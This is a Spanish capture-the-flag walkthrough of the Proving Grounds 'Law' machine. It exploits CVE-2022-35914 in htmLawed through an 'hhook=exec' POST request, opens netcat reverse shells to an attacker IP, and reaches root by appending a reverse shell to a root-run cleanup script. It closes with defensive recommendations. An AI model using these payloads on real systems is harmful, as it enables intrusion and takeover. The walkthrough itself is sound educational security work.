Law — Proving Grounds
Walkthrough de una máquina Linux de Proving Grounds que cubre una vulnerabilidad RCE en htmLawed, el monitoreo de procesos con pspy y la escalada de privilegios mediante un script que www-data podía modificar y que se ejecutaba como root.
- Plataforma
- Proving Grounds
- Dificultad
- Fácil
- Fecha
- proving-grounds
- linux
- htmlawed
- cve-2022-35914
- web-exploitation
- reverse-shell
- privilege-escalation
- pspy
- scheduled-tasks
Descripción general
Law es una máquina Linux de Proving Grounds. Este walkthrough explica las observaciones que conectaron la aplicación web expuesta con la ruta final de escalada de privilegios.
Este walkthrough independiente documenta un ejercicio autorizado con fines educativos y no está afiliado ni respaldado por OffSec.
Resumen del ataque
La interfaz de prueba expuesta de htmLawed 1.2.5 era vulnerable a CVE-2022-35914 y permitía ejecutar comandos y obtener una shell inicial como
www-data. La enumeración local identificó/var/www/cleanup.sh, un script quewww-datapodía modificar. Aunque/etc/crontabno mostraba qué lo ejecutaba,pspyreveló que el script se ejecutaba con UID 0. Modificar ese script, que se ejecutaba como root, permitió obtener acceso como root.
Enumeración
El objetivo era 192.168.194.190. Un escaneo TCP completo redujo la superficie de ataque inicial a SSH y HTTP:
sudo nmap -sS -p- --min-rate 1000 --open 192.168.194.190
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
La detección de servicios y scripts por defecto aportó el detalle necesario para priorizar HTTP:
sudo nmap -sS -sV -sC --min-rate 1000 --open 192.168.194.190 -oA nmap_service_and_basic_script
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
Con la evidencia disponible, SSH no ofrecía una vía inmediata. En cambio, HTTP reveló una versión de htmLawed y una interfaz de prueba pública, por lo que el servicio web se convirtió en la hipótesis más sólida.
Análisis de la aplicación web
El servicio HTTP exponía una interfaz de prueba de htmLawed 1.2.5. Esta versión hacía relevante la hipótesis de CVE-2022-35914, una vulnerabilidad de inyección de código PHP que puede derivar en ejecución remota de comandos.
La ruta esperada del formulario, /htmLawedTest.php, devolvió 404. La request seguía siendo útil porque conservaba el envío del formulario e identificaba los campos de entrada esperados. El extracto siguiente omite el token generado y la configuración no relacionada del estado del formulario; text=id y enc=utf-8 son los campos relevantes para la comparación visibles en el código fuente.
POST /htmLawedTest.php HTTP/1.1
Host: 192.168.194.190
Content-Type: application/x-www-form-urlencoded
Content-Length: 835
text=id&enc=utf-8
HTTP/1.1 404 Not Found
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=iso-8859-1
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
El 404 confirmó que este despliegue no servía la ruta esperada del script. No significaba que el procesamiento de htmLawed fuera inalcanzable. Enviar los mismos campos relevantes del formulario a la ruta raíz permitió alcanzar el comportamiento de procesamiento:
POST / HTTP/1.1
Host: 192.168.194.190
Content-Type: application/x-www-form-urlencoded
Content-Length: 804
text=id&enc=utf-8
Se conservó el body de la request; solo cambió la ruta, de /htmLawedTest.php a /.
HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<title>htmLawed 1.2.5 test page</title>
...
Output
id
El cambio de ruta solo ajustó el enrutamiento necesario para alcanzar el procesamiento vulnerable en este despliegue; no era la vulnerabilidad.
Explotación de htmLawed
Una vez comprobado que se podía acceder al procesador, el campo de formulario hhook=exec configuró el valor hook de htmLawed como exec. Antes de intentar obtener una reverse shell, id permitió comprobar la ejecución de comandos con un impacto bajo e identificar el contexto de ejecución. Este extracto conserva los campos relevantes para la explotación y omite el token generado y la configuración no relacionada del estado del formulario.
POST / HTTP/1.1
Host: 192.168.194.190
Content-Type: application/x-www-form-urlencoded
text=id&hhook=exec
La respuesta de procesamiento confirmó la ejecución de comandos bajo la cuenta de servicio de Apache:
HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=UTF-8
Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Esta validación confirmó la ejecución remota de comandos y el contexto de www-data antes de intentar obtener una reverse shell.
Obtención de una shell inicial
La evidencia original utilizó un listener en el puerto 4444 y envió el siguiente payload mediante el canal confirmado de ejecución de comandos:
rlwrap nc -nvlp 4444
nc 192.168.45.181 4444 -e /bin/bash
El listener recibió una conexión desde el objetivo y whoami verificó la cuenta de servicio:
connect to [192.168.45.181] from (UNKNOWN) [192.168.194.190] 51846
$ whoami
www-data
Enumeración local
La shell inicial comenzó en /var/www/html. Al subir un nivel, aparecieron tanto el proof de usuario como un script propiedad de la cuenta del servicio web:
pwd
/var/www/html
cd ..
ls -la
-rwxr-xr-x 1 www-data www-data 82 Aug 25 2023 cleanup.sh
drwxr-xr-x 2 www-data www-data 4096 Nov 29 15:59 html
-rw-r--r-- 1 www-data www-data 33 Nov 29 14:52 local.txt
cat local.txt
7aae120b1e9a6b167b5c67110a85f51f
cleanup.sh llamó la atención porque estaba en /var/www, www-data podía modificarlo y eliminaba logs de Apache:
cat cleanup.sh
#!/bin/bash
rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log
La inspección estática de crontab no hacía referencia a este script. Solo mostró entradas estándar de run-parts a nivel de sistema:
cat /etc/crontab
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
La ausencia de /var/www/cleanup.sh en /etc/crontab no descartaba una ejecución privilegiada recurrente. Esto indicaba que la revisión estática de la configuración no aportaba más información, así que el monitoreo de procesos en tiempo de ejecución era el siguiente paso.
Identificación del proceso privilegiado
Monitoreé procesos con pspy para observar actividad sin acceso root:
./pspy64
La salida relevante mostró la relación de ejecución clave:
CMD: UID=0 PID=2258 | /bin/sh -c /var/www/cleanup.sh
Esto vinculó el archivo modificable con una ejecución privilegiada. El problema no era pspy ni el planificador específico, sino que una cuenta de servicio podía modificar un script que posteriormente se ejecutaba como root.
Escalada de privilegios
Desde /var/www, inicié un segundo listener y añadí al script que www-data podía modificar el payload utilizado en la evidencia original:
rlwrap nc -nvlp 8081
echo 'nc 192.168.45.181 8081 -e /bin/bash' >> cleanup.sh
Tras la siguiente ejecución del script con privilegios de root, el listener recibió una shell de root:
connect to [192.168.45.181] from (UNKNOWN) [192.168.194.190] 37726
# whoami
root
El acceso como root se verificó al localizar y leer el archivo proof:
cat /root/proof.txt
650fecfe7a80b0079615a40a7c4839af
Causa raíz
Acceso inicial
- La interfaz de prueba de htmLawed 1.2.5 estaba expuesta públicamente.
- CVE-2022-35914 permitía ejecutar comandos.
- El comportamiento vulnerable seguía disponible al enviar el body original del formulario a
/en lugar de a la ruta esperada del script de prueba, que no existía.
Escalada de privilegios
www-datapodía modificar/var/www/cleanup.sh.pspymostró que el script se ejecutaba con UID 0.- El problema era que una cuenta de servicio podía modificar un script que posteriormente era ejecutado con privilegios de root.
Recomendaciones defensivas
- Actualizar htmLawed o retirarlo, y restringir el acceso a sus funciones de prueba.
- Los scripts ejecutados con privilegios elevados deben pertenecer a root y no poder ser modificados por cuentas de servicio.
- Evitar ejecutar scripts con privilegios elevados desde directorios que las aplicaciones puedan modificar.
- Revisar las tareas programadas y supervisar las modificaciones en scripts privilegiados.
Aprendizajes
- Identificar una versión vulnerable es solo el punto de partida; todavía hay que comprobar si el comportamiento es alcanzable.
- Que una ruta devuelva 404 no significa necesariamente que el procesamiento vulnerable no esté disponible.
- Un
/etc/crontabvacío no descarta otras formas de ejecución programada o recurrente. - Observar procesos en tiempo de ejecución puede revelar comportamientos que la enumeración estática no muestra.
- Un script modificable se convierte en una ruta crítica cuando es ejecutado por root.